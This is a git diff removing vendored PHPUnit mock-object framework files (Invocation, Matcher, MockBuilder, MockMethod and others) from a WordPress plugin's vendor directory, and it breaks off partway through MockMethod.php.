b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Invocation.php deleted file mode 100644 index ed8c4e92..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Invocation.php +++ /dev/null @@ -1,301 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function array_map; -use function explode; -use function get_class; -use function implode; -use function in_array; -use function interface_exists; -use function is_object; -use function sprintf; -use function strpos; -use function strtolower; -use function substr; -use Doctrine\Instantiator\Instantiator; -use PHPUnit\Framework\SelfDescribing; -use PHPUnit\Util\Cloner; -use SebastianBergmann\Exporter\Exporter; -use stdClass; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Invocation implements SelfDescribing -{ - /** - * @var string - */ - private $className; - - /** - * @var string - */ - private $methodName; - - /** - * @var array - */ - private $parameters; - - /** - * @var string - */ - private $returnType; - - /** - * @var bool - */ - private $isReturnTypeNullable = false; - - /** - * @var bool - */ - private $proxiedCall; - - /** - * @var object - */ - private $object; - - public function __construct(string $className, string $methodName, array $parameters, string $returnType, object $object, bool $cloneObjects = false, bool $proxiedCall = false) - { - $this->className = $className; - $this->methodName = $methodName; - $this->parameters = $parameters; - $this->object = $object; - $this->proxiedCall = $proxiedCall; - - if (strtolower($methodName) === '__tostring') { - $returnType = 'string'; - } - - if (strpos($returnType, '?') === 0) { - $returnType = substr($returnType, 1); - $this->isReturnTypeNullable = true; - } - - $this->returnType = $returnType; - - if (!$cloneObjects) { - return; - } - - foreach ($this->parameters as $key => $value) { - if (is_object($value)) { - $this->parameters[$key] = Cloner::clone($value); - } - } - } - - public function getClassName(): string - { - return $this->className; - } - - public function getMethodName(): string - { - return $this->methodName; - } - - public function getParameters(): array - { - return $this->parameters; - } - - /** - * @throws RuntimeException - * - * @return mixed Mocked return value - */ - public function generateReturnValue() - { - if ($this->isReturnTypeNullable || $this->proxiedCall) { - return null; - } - - $intersection = false; - $union = false; - $unionContainsIntersections = false; - - if (strpos($this->returnType, '|') !== false) { - $types = explode('|', $this->returnType); - $union = true; - - if (strpos($this->returnType, '(') !== false) { - $unionContainsIntersections = true; - } - } elseif (strpos($this->returnType, '&') !== false) { - $types = explode('&', $this->returnType); - $intersection = true; - } else { - $types = [$this->returnType]; - } - - $types = array_map('strtolower', $types); - - if (!$intersection && !$unionContainsIntersections) { - if (in_array('', $types, true) || - in_array('null', $types, true) || - in_array('mixed', $types, true) || - in_array('void', $types, true)) { - return null; - } - - if (in_array('true', $types, true)) { - return true; - } - - if (in_array('false', $types, true) || - in_array('bool', $types, true)) { - return false; - } - - if (in_array('float', $types, true)) { - return 0.0; - } - - if (in_array('int', $types, true)) { - return 0; - } - - if (in_array('string', $types, true)) { - return ''; - } - - if (in_array('array', $types, true)) { - return []; - } - - if (in_array('static', $types, true)) { - try { - return (new Instantiator)->instantiate(get_class($this->object)); - } catch (Throwable $t) { - throw new RuntimeException( - $t->getMessage(), - (int) $t->getCode(), - $t, - ); - } - } - - if (in_array('object', $types, true)) { - return new stdClass; - } - - if (in_array('callable', $types, true) || - in_array('closure', $types, true)) { - return static function (): void - { - }; - } - - if (in_array('traversable', $types, true) || - in_array('generator', $types, true) || - in_array('iterable', $types, true)) { - $generator = static function (): \Generator - { - yield from []; - }; - - return $generator(); - } - - if (!$union) { - try { - return (new Generator)->getMock($this->returnType, [], [], '', false); - } catch (Throwable $t) { - if ($t instanceof Exception) { - throw $t; - } - - throw new RuntimeException( - $t->getMessage(), - (int) $t->getCode(), - $t, - ); - } - } - } - - if ($intersection && $this->onlyInterfaces($types)) { - try { - return (new Generator)->getMockForInterfaces($types); - } catch (Throwable $t) { - throw new RuntimeException( - sprintf( - 'Return value for %s::%s() cannot be generated: %s', - $this->className, - $this->methodName, - $t->getMessage(), - ), - (int) $t->getCode(), - ); - } - } - - $reason = ''; - - if ($union) { - $reason = ' because the declared return type is a union'; - } elseif ($intersection) { - $reason = ' because the declared return type is an intersection'; - } - - throw new RuntimeException( - sprintf( - 'Return value for %s::%s() cannot be generated%s, please configure a return value for this method', - $this->className, - $this->methodName, - $reason, - ), - ); - } - - public function toString(): string - { - $exporter = new Exporter; - - return sprintf( - '%s::%s(%s)%s', - $this->className, - $this->methodName, - implode( - ', ', - array_map( - [$exporter, 'shortenedExport'], - $this->parameters, - ), - ), - $this->returnType ? sprintf(': %s', $this->returnType) : '', - ); - } - - public function getObject(): object - { - return $this->object; - } - - /** - * @psalm-param non-empty-list $types - */ - private function onlyInterfaces(array $types): bool - { - foreach ($types as $type) { - if (!interface_exists($type)) { - return false; - } - } - - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/InvocationHandler.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/InvocationHandler.php deleted file mode 100644 index f8ee16e0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/InvocationHandler.php +++ /dev/null @@ -1,186 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function strtolower; -use Exception; -use PHPUnit\Framework\MockObject\Builder\InvocationMocker; -use PHPUnit\Framework\MockObject\Rule\InvocationOrder; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class InvocationHandler -{ - /** - * @var Matcher[] - */ - private $matchers = []; - - /** - * @var Matcher[] - */ - private $matcherMap = []; - - /** - * @var ConfigurableMethod[] - */ - private $configurableMethods; - - /** - * @var bool - */ - private $returnValueGeneration; - - /** - * @var Throwable - */ - private $deferredError; - - public function __construct(array $configurableMethods, bool $returnValueGeneration) - { - $this->configurableMethods = $configurableMethods; - $this->returnValueGeneration = $returnValueGeneration; - } - - public function hasMatchers(): bool - { - foreach ($this->matchers as $matcher) { - if ($matcher->hasMatchers()) { - return true; - } - } - - return false; - } - - /** - * Looks up the match builder with identification $id and returns it. - * - * @param string $id The identification of the match builder - */ - public function lookupMatcher(string $id): ?Matcher - { - if (isset($this->matcherMap[$id])) { - return $this->matcherMap[$id]; - } - - return null; - } - - /** - * Registers a matcher with the identification $id. The matcher can later be - * looked up using lookupMatcher() to figure out if it has been invoked. - * - * @param string $id The identification of the matcher - * @param Matcher $matcher The builder which is being registered - * - * @throws MatcherAlreadyRegisteredException - */ - public function registerMatcher(string $id, Matcher $matcher): void - { - if (isset($this->matcherMap[$id])) { - throw new MatcherAlreadyRegisteredException($id); - } - - $this->matcherMap[$id] = $matcher; - } - - public function expects(InvocationOrder $rule): InvocationMocker - { - $matcher = new Matcher($rule); - $this->addMatcher($matcher); - - return new InvocationMocker( - $this, - $matcher, - ...$this->configurableMethods, - ); - } - - /** - * @throws Exception - * @throws RuntimeException - */ - public function invoke(Invocation $invocation) - { - $exception = null; - $hasReturnValue = false; - $returnValue = null; - - foreach ($this->matchers as $match) { - try { - if ($match->matches($invocation)) { - $value = $match->invoked($invocation); - - if (!$hasReturnValue) { - $returnValue = $value; - $hasReturnValue = true; - } - } - } catch (Exception $e) { - $exception = $e; - } - } - - if ($exception !== null) { - throw $exception; - } - - if ($hasReturnValue) { - return $returnValue; - } - - if (!$this->returnValueGeneration) { - $exception = new ReturnValueNotConfiguredException($invocation); - - if (strtolower($invocation->getMethodName()) === '__tostring') { - $this->deferredError = $exception; - - return ''; - } - - throw $exception; - } - - return $invocation->generateReturnValue(); - } - - public function matches(Invocation $invocation): bool - { - foreach ($this->matchers as $matcher) { - if (!$matcher->matches($invocation)) { - return false; - } - } - - return true; - } - - /** - * @throws Throwable - */ - public function verify(): void - { - foreach ($this->matchers as $matcher) { - $matcher->verify(); - } - - if ($this->deferredError) { - throw $this->deferredError; - } - } - - private function addMatcher(Matcher $matcher): void - { - $this->matchers[] = $matcher; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Matcher.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Matcher.php deleted file mode 100644 index cc8be058..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Matcher.php +++ /dev/null @@ -1,275 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function assert; -use function implode; -use function sprintf; -use PHPUnit\Framework\ExpectationFailedException; -use PHPUnit\Framework\MockObject\Rule\AnyInvokedCount; -use PHPUnit\Framework\MockObject\Rule\AnyParameters; -use PHPUnit\Framework\MockObject\Rule\InvocationOrder; -use PHPUnit\Framework\MockObject\Rule\InvokedAtMostCount; -use PHPUnit\Framework\MockObject\Rule\InvokedCount; -use PHPUnit\Framework\MockObject\Rule\MethodName; -use PHPUnit\Framework\MockObject\Rule\ParametersRule; -use PHPUnit\Framework\MockObject\Stub\Stub; -use PHPUnit\Framework\TestFailure; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Matcher -{ - /** - * @var InvocationOrder - */ - private $invocationRule; - - /** - * @var mixed - */ - private $afterMatchBuilderId; - - /** - * @var bool - */ - private $afterMatchBuilderIsInvoked = false; - - /** - * @var MethodName - */ - private $methodNameRule; - - /** - * @var ParametersRule - */ - private $parametersRule; - - /** - * @var Stub - */ - private $stub; - - public function __construct(InvocationOrder $rule) - { - $this->invocationRule = $rule; - } - - public function hasMatchers(): bool - { - return !$this->invocationRule instanceof AnyInvokedCount; - } - - public function hasMethodNameRule(): bool - { - return $this->methodNameRule !== null; - } - - public function getMethodNameRule(): MethodName - { - return $this->methodNameRule; - } - - public function setMethodNameRule(MethodName $rule): void - { - $this->methodNameRule = $rule; - } - - public function hasParametersRule(): bool - { - return $this->parametersRule !== null; - } - - public function setParametersRule(ParametersRule $rule): void - { - $this->parametersRule = $rule; - } - - public function setStub(Stub $stub): void - { - $this->stub = $stub; - } - - public function setAfterMatchBuilderId(string $id): void - { - $this->afterMatchBuilderId = $id; - } - - /** - * @throws ExpectationFailedException - * @throws MatchBuilderNotFoundException - * @throws MethodNameNotConfiguredException - * @throws RuntimeException - */ - public function invoked(Invocation $invocation) - { - if ($this->methodNameRule === null) { - throw new MethodNameNotConfiguredException; - } - - if ($this->afterMatchBuilderId !== null) { - $matcher = $invocation->getObject() - ->__phpunit_getInvocationHandler() - ->lookupMatcher($this->afterMatchBuilderId); - - if (!$matcher) { - throw new MatchBuilderNotFoundException($this->afterMatchBuilderId); - } - - assert($matcher instanceof self); - - if ($matcher->invocationRule->hasBeenInvoked()) { - $this->afterMatchBuilderIsInvoked = true; - } - } - - $this->invocationRule->invoked($invocation); - - try { - if ($this->parametersRule !== null) { - $this->parametersRule->apply($invocation); - } - } catch (ExpectationFailedException $e) { - throw new ExpectationFailedException( - sprintf( - "Expectation failed for %s when %s\n%s", - $this->methodNameRule->toString(), - $this->invocationRule->toString(), - $e->getMessage(), - ), - $e->getComparisonFailure(), - ); - } - - if ($this->stub) { - return $this->stub->invoke($invocation); - } - - return $invocation->generateReturnValue(); - } - - /** - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws MatchBuilderNotFoundException - * @throws MethodNameNotConfiguredException - * @throws RuntimeException - */ - public function matches(Invocation $invocation): bool - { - if ($this->afterMatchBuilderId !== null) { - $matcher = $invocation->getObject() - ->__phpunit_getInvocationHandler() - ->lookupMatcher($this->afterMatchBuilderId); - - if (!$matcher) { - throw new MatchBuilderNotFoundException($this->afterMatchBuilderId); - } - - assert($matcher instanceof self); - - if (!$matcher->invocationRule->hasBeenInvoked()) { - return false; - } - } - - if ($this->methodNameRule === null) { - throw new MethodNameNotConfiguredException; - } - - if (!$this->invocationRule->matches($invocation)) { - return false; - } - - try { - if (!$this->methodNameRule->matches($invocation)) { - return false; - } - } catch (ExpectationFailedException $e) { - throw new ExpectationFailedException( - sprintf( - "Expectation failed for %s when %s\n%s", - $this->methodNameRule->toString(), - $this->invocationRule->toString(), - $e->getMessage(), - ), - $e->getComparisonFailure(), - ); - } - - return true; - } - - /** - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws MethodNameNotConfiguredException - */ - public function verify(): void - { - if ($this->methodNameRule === null) { - throw new MethodNameNotConfiguredException; - } - - try { - $this->invocationRule->verify(); - - if ($this->parametersRule === null) { - $this->parametersRule = new AnyParameters; - } - - $invocationIsAny = $this->invocationRule instanceof AnyInvokedCount; - $invocationIsNever = $this->invocationRule instanceof InvokedCount && $this->invocationRule->isNever(); - $invocationIsAtMost = $this->invocationRule instanceof InvokedAtMostCount; - - if (!$invocationIsAny && !$invocationIsNever && !$invocationIsAtMost) { - $this->parametersRule->verify(); - } - } catch (ExpectationFailedException $e) { - throw new ExpectationFailedException( - sprintf( - "Expectation failed for %s when %s.\n%s", - $this->methodNameRule->toString(), - $this->invocationRule->toString(), - TestFailure::exceptionToString($e), - ), - ); - } - } - - public function toString(): string - { - $list = []; - - if ($this->invocationRule !== null) { - $list[] = $this->invocationRule->toString(); - } - - if ($this->methodNameRule !== null) { - $list[] = 'where ' . $this->methodNameRule->toString(); - } - - if ($this->parametersRule !== null) { - $list[] = 'and ' . $this->parametersRule->toString(); - } - - if ($this->afterMatchBuilderId !== null) { - $list[] = 'after ' . $this->afterMatchBuilderId; - } - - if ($this->stub !== null) { - $list[] = 'will ' . $this->stub->toString(); - } - - return implode(' ', $list); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MethodNameConstraint.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MethodNameConstraint.php deleted file mode 100644 index e5c955d3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MethodNameConstraint.php +++ /dev/null @@ -1,48 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function is_string; -use function sprintf; -use function strtolower; -use PHPUnit\Framework\Constraint\Constraint; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MethodNameConstraint extends Constraint -{ - /** - * @var string - */ - private $methodName; - - public function __construct(string $methodName) - { - $this->methodName = $methodName; - } - - public function toString(): string - { - return sprintf( - 'is "%s"', - $this->methodName, - ); - } - - protected function matches($other): bool - { - if (!is_string($other)) { - return false; - } - - return strtolower($this->methodName) === strtolower($other); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockBuilder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockBuilder.php deleted file mode 100644 index 487ea16a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockBuilder.php +++ /dev/null @@ -1,519 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function array_diff; -use function array_merge; -use PHPUnit\Framework\Exception; -use PHPUnit\Framework\InvalidArgumentException; -use PHPUnit\Framework\TestCase; -use ReflectionClass; - -/** - * @psalm-template MockedType - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class MockBuilder -{ - /** - * @var TestCase - */ - private $testCase; - - /** - * @var string - */ - private $type; - - /** - * @var null|string[] - */ - private $methods = []; - - /** - * @var bool - */ - private $emptyMethodsArray = false; - - /** - * @var string - */ - private $mockClassName = ''; - - /** - * @var array - */ - private $constructorArgs = []; - - /** - * @var bool - */ - private $originalConstructor = true; - - /** - * @var bool - */ - private $originalClone = true; - - /** - * @var bool - */ - private $autoload = true; - - /** - * @var bool - */ - private $cloneArguments = false; - - /** - * @var bool - */ - private $callOriginalMethods = false; - - /** - * @var ?object - */ - private $proxyTarget; - - /** - * @var bool - */ - private $allowMockingUnknownTypes = true; - - /** - * @var bool - */ - private $returnValueGeneration = true; - - /** - * @var Generator - */ - private $generator; - - /** - * @param string|string[] $type - * - * @psalm-param class-string|string|string[] $type - */ - public function __construct(TestCase $testCase, $type) - { - $this->testCase = $testCase; - $this->type = $type; - $this->generator = new Generator; - } - - /** - * Creates a mock object using a fluent interface. - * - * @throws ClassAlreadyExistsException - * @throws ClassIsFinalException - * @throws ClassIsReadonlyException - * @throws DuplicateMethodException - * @throws InvalidArgumentException - * @throws InvalidMethodNameException - * @throws OriginalConstructorInvocationRequiredException - * @throws ReflectionException - * @throws RuntimeException - * @throws UnknownTypeException - * - * @psalm-return MockObject&MockedType - */ - public function getMock(): MockObject - { - $object = $this->generator->getMock( - $this->type, - !$this->emptyMethodsArray ? $this->methods : null, - $this->constructorArgs, - $this->mockClassName, - $this->originalConstructor, - $this->originalClone, - $this->autoload, - $this->cloneArguments, - $this->callOriginalMethods, - $this->proxyTarget, - $this->allowMockingUnknownTypes, - $this->returnValueGeneration, - ); - - $this->testCase->registerMockObject($object); - - return $object; - } - - /** - * Creates a mock object for an abstract class using a fluent interface. - * - * @psalm-return MockObject&MockedType - * - * @throws Exception - * @throws ReflectionException - * @throws RuntimeException - */ - public function getMockForAbstractClass(): MockObject - { - $object = $this->generator->getMockForAbstractClass( - $this->type, - $this->constructorArgs, - $this->mockClassName, - $this->originalConstructor, - $this->originalClone, - $this->autoload, - $this->methods, - $this->cloneArguments, - ); - - $this->testCase->registerMockObject($object); - - return $object; - } - - /** - * Creates a mock object for a trait using a fluent interface. - * - * @psalm-return MockObject&MockedType - * - * @throws Exception - * @throws ReflectionException - * @throws RuntimeException - */ - public function getMockForTrait(): MockObject - { - $object = $this->generator->getMockForTrait( - $this->type, - $this->constructorArgs, - $this->mockClassName, - $this->originalConstructor, - $this->originalClone, - $this->autoload, - $this->methods, - $this->cloneArguments, - ); - - $this->testCase->registerMockObject($object); - - return $object; - } - - /** - * Specifies the subset of methods to mock. Default is to mock none of them. - * - * @deprecated https://github.com/sebastianbergmann/phpunit/pull/3687 - * - * @return $this - */ - public function setMethods(?array $methods = null): self - { - if ($methods === null) { - $this->methods = $methods; - } else { - $this->methods = array_merge($this->methods ?? [], $methods); - } - - return $this; - } - - /** - * Specifies the subset of methods to mock, requiring each to exist in the class. - * - * @param string[] $methods - * - * @throws CannotUseOnlyMethodsException - * @throws ReflectionException - * - * @return $this - */ - public function onlyMethods(array $methods): self - { - if (empty($methods)) { - $this->emptyMethodsArray = true; - - return $this; - } - - try { - $reflector = new ReflectionClass($this->type); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - foreach ($methods as $method) { - if (!$reflector->hasMethod($method)) { - throw new CannotUseOnlyMethodsException($this->type, $method); - } - } - - $this->methods = array_merge($this->methods ?? [], $methods); - - return $this; - } - - /** - * Specifies methods that don't exist in the class which you want to mock. - * - * @param string[] $methods - * - * @throws CannotUseAddMethodsException - * @throws ReflectionException - * @throws RuntimeException - * - * @return $this - */ - public function addMethods(array $methods): self - { - if (empty($methods)) { - $this->emptyMethodsArray = true; - - return $this; - } - - try { - $reflector = new ReflectionClass($this->type); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - foreach ($methods as $method) { - if ($reflector->hasMethod($method)) { - throw new CannotUseAddMethodsException($this->type, $method); - } - } - - $this->methods = array_merge($this->methods ?? [], $methods); - - return $this; - } - - /** - * Specifies the subset of methods to not mock. Default is to mock all of them. - * - * @deprecated https://github.com/sebastianbergmann/phpunit/pull/3687 - * - * @throws ReflectionException - */ - public function setMethodsExcept(array $methods = []): self - { - return $this->setMethods( - array_diff( - $this->generator->getClassMethods($this->type), - $methods, - ), - ); - } - - /** - * Specifies the arguments for the constructor. - * - * @return $this - */ - public function setConstructorArgs(array $args): self - { - $this->constructorArgs = $args; - - return $this; - } - - /** - * Specifies the name for the mock class. - * - * @return $this - */ - public function setMockClassName(string $name): self - { - $this->mockClassName = $name; - - return $this; - } - - /** - * Disables the invocation of the original constructor. - * - * @return $this - */ - public function disableOriginalConstructor(): self - { - $this->originalConstructor = false; - - return $this; - } - - /** - * Enables the invocation of the original constructor. - * - * @return $this - */ - public function enableOriginalConstructor(): self - { - $this->originalConstructor = true; - - return $this; - } - - /** - * Disables the invocation of the original clone constructor. - * - * @return $this - */ - public function disableOriginalClone(): self - { - $this->originalClone = false; - - return $this; - } - - /** - * Enables the invocation of the original clone constructor. - * - * @return $this - */ - public function enableOriginalClone(): self - { - $this->originalClone = true; - - return $this; - } - - /** - * Disables the use of class autoloading while creating the mock object. - * - * @return $this - */ - public function disableAutoload(): self - { - $this->autoload = false; - - return $this; - } - - /** - * Enables the use of class autoloading while creating the mock object. - * - * @return $this - */ - public function enableAutoload(): self - { - $this->autoload = true; - - return $this; - } - - /** - * Disables the cloning of arguments passed to mocked methods. - * - * @return $this - */ - public function disableArgumentCloning(): self - { - $this->cloneArguments = false; - - return $this; - } - - /** - * Enables the cloning of arguments passed to mocked methods. - * - * @return $this - */ - public function enableArgumentCloning(): self - { - $this->cloneArguments = true; - - return $this; - } - - /** - * Enables the invocation of the original methods. - * - * @return $this - */ - public function enableProxyingToOriginalMethods(): self - { - $this->callOriginalMethods = true; - - return $this; - } - - /** - * Disables the invocation of the original methods. - * - * @return $this - */ - public function disableProxyingToOriginalMethods(): self - { - $this->callOriginalMethods = false; - $this->proxyTarget = null; - - return $this; - } - - /** - * Sets the proxy target. - * - * @return $this - */ - public function setProxyTarget(object $object): self - { - $this->proxyTarget = $object; - - return $this; - } - - /** - * @return $this - */ - public function allowMockingUnknownTypes(): self - { - $this->allowMockingUnknownTypes = true; - - return $this; - } - - /** - * @return $this - */ - public function disallowMockingUnknownTypes(): self - { - $this->allowMockingUnknownTypes = false; - - return $this; - } - - /** - * @return $this - */ - public function enableAutoReturnValueGeneration(): self - { - $this->returnValueGeneration = true; - - return $this; - } - - /** - * @return $this - */ - public function disableAutoReturnValueGeneration(): self - { - $this->returnValueGeneration = false; - - return $this; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockClass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockClass.php deleted file mode 100644 index 8f5c276d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockClass.php +++ /dev/null @@ -1,69 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function call_user_func; -use function class_exists; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MockClass implements MockType -{ - /** - * @var string - */ - private $classCode; - - /** - * @var class-string - */ - private $mockName; - - /** - * @var ConfigurableMethod[] - */ - private $configurableMethods; - - /** - * @psalm-param class-string $mockName - */ - public function __construct(string $classCode, string $mockName, array $configurableMethods) - { - $this->classCode = $classCode; - $this->mockName = $mockName; - $this->configurableMethods = $configurableMethods; - } - - /** - * @psalm-return class-string - */ - public function generate(): string - { - if (!class_exists($this->mockName, false)) { - eval($this->classCode); - - call_user_func( - [ - $this->mockName, - '__phpunit_initConfigurableMethods', - ], - ...$this->configurableMethods, - ); - } - - return $this->mockName; - } - - public function getClassCode(): string - { - return $this->classCode; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockMethod.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockMethod.php deleted file mode 100644 index 88462dfe..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockMethod.php +++ /dev/null @@ -1,380 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use const DIRECTORY_SEPARATOR; -use function explode; -use function implode; -use function is_object; -use function is_string; -use function preg_match; -use function preg_replace; -use function sprintf; -use function strlen; -use function strpos; -use function substr; -use function substr_count; -use function trim; -use function var_export; -use ReflectionMethod; -use ReflectionParameter; -use SebastianBergmann\Template\Exception as TemplateException; -use SebastianBergmann\Template\Template; -use SebastianBergmann\Type\ReflectionMapper; -use SebastianBergmann\Type\Type; -use SebastianBergmann\Type\UnknownType; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MockMethod -{ - /** - * @var Template[] - */ - private static $templates = []; - - /** - * @var string - */ - private $className; - - /** - * @var string - */ - private $methodName; - - /** - * @var bool - */ - private $cloneArguments; - - /** - * @var string string - */ - private $modifier; - - /** - * @var string - */ - private $argumentsForDeclaration; - - /** - * @var string - */ - private $argumentsForCall; - - /** - * @var Type - */ - private $returnType; - - /** - * @var string - */ - private $reference; - - /** - * @var bool - */ - private $callOriginalMethod; - - /** - * @var bool - */ - private $static; - - /** - * @var ?string - */ - private $deprecation; - - /** - * @throws ReflectionException - * @throws RuntimeException - */ - public static function fromReflection(ReflectionMethod $method, bool $callOriginalMethod, bool $cloneArguments): self - { - if ($method->isPrivate()) { - $modifier = 'private'; - } elseif ($method->isProtected()) { - $modifier = 'protected'; - } else { - $modifier = 'public'; - } - - if ($method->isStatic()) { - $modifier .= ' static'; - } - - if ($method->returnsReference()) { - $reference = '&'; - } else { - $reference = ''; - } - - $docComment = $method->getDocComment(); - - if (is_string($docComment) && - preg_match('#\*[ \t]*+@deprecated[ \t]*+(.*?)\r?+\n[ \t]*+\*(?:[ \t]*+@|/$)#s', $docComment, $deprecation)) { - $deprecation = trim(preg_replace('#[ \t]*\r?\n[ \t]*+\*[ \t]*+#', ' ', $deprecation[1])); - } else { - $deprecation = null; - } - - return new self( - $method->getDeclaringClass()->getName(), - $method->getName(), - $cloneArguments, - $modifier, - self::getMethodParametersForDeclaration($method), - self::getMethodParametersForCall($method), - (new ReflectionMapper)->fromReturnType($method), - $reference, - $callOriginalMethod, - $method->isStatic(), - $deprecation, - ); - } - - public static function fromName(string $fullClassName, string $methodName, bool $cloneArguments): self - { - return new self( - $fullClassName, - $methodName, - $cloneArguments, - 'public', - '', - '', - new UnknownType, - '', - false, - false, - null, - ); - } - - public function __construct(string $className, string $methodName, bool $cloneArguments, string $modifier, string $argumentsForDeclaration, string $argumentsForCall, Type $returnType, string $reference, bool $callOriginalMethod, bool $static, ?string $deprecation) - { - $this->className = $className; - $this->methodName = $methodName; - $this->cloneArguments = $cloneArguments; - $this->modifier = $modifier; - $this->argumentsForDeclaration = $argumentsForDeclaration; - $this->argumentsForCall = $argumentsForCall; - $this->returnType = $returnType; - $this->reference = $reference; - $this->callOriginalMethod = $callOriginalMethod; - $this->static = $static; - $this->deprecation = $deprecation; - } - - public function getName(): string - { - return $this->methodName; - } - - /** - * @throws RuntimeException - */ - public function generateCode(): string - { - if ($this->static) { - $templateFile = 'mocked_static_method.tpl'; - } elseif ($this->returnType->isNever() || $this->returnType->isVoid()) { - $templateFile = sprintf( - '%s_method_never_or_void.tpl', - $this->callOriginalMethod ? 'proxied' : 'mocked', - ); - } else { - $templateFile = sprintf( - '%s_method.tpl', - $this->callOriginalMethod ? 'proxied' : 'mocked', - ); - } - - $deprecation = $this->deprecation; - - if (null !== $this->deprecation) { - $deprecation = "The {$this->className}::{$this->methodName} method is deprecated ({$this->deprecation})."; - $deprecationTemplate = $this->getTemplate('deprecation.tpl'); - - $deprecationTemplate->setVar( - [ - 'deprecation' => var_export($deprecation, true), - ], - ); - - $deprecation = $deprecationTemplate->render(); - } - - $template = $this->getTemplate($templateFile); - - $template->setVar( - [ - 'arguments_decl' => $this->argumentsForDeclaration, - 'arguments_call' => $this->argumentsForCall, - 'return_declaration' => !empty($this->returnType->asString()) ? (': ' . $this->returnType->asString()) : '', - 'return_type' => $this->returnType->asString(), - 'arguments_count' => !empty($this->argumentsForCall) ? substr_count($this->argumentsForCall, ',') + 1 : 0, - 'class_name' => $this->className, - 'method_name' => $this->methodName, - 'modifier' => $this->modifier, - 'reference' => $this->reference, - 'clone_arguments' => $this->cloneArguments ? 'true' : 'false', - 'deprecation' => $deprecation, - ], - ); - - return $template->render(); - } - - public function getReturnType(): Type - { - return $this->returnType; - } - - /** - * @throws RuntimeException - */ - private function getTemplate(string $template): Template - { - $filename = __DIR__ . DIRECTORY_SEPARATOR . 'Generator' . DIRECTORY_SEPARATOR . $template; - - if (!isset(self::$templates[$filename])) { - try { - self::$templates[$filename] = new Template($filename); - } catch (TemplateException $e) { - throw new RuntimeException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - } - - return self::$templates[$filename]; - } - - /** - * Returns the parameters of a function or method. - * - * @throws RuntimeException - */ - private static function getMethodParametersForDeclaration(ReflectionMethod $method): string - { - $parameters = []; - $types = (new ReflectionMapper)->fromParameterTypes($method); - - foreach ($method->getParameters() as $i => $parameter) { - $name = '$' . $parameter->getName(); - - /* Note: PHP extensions may use empty names for 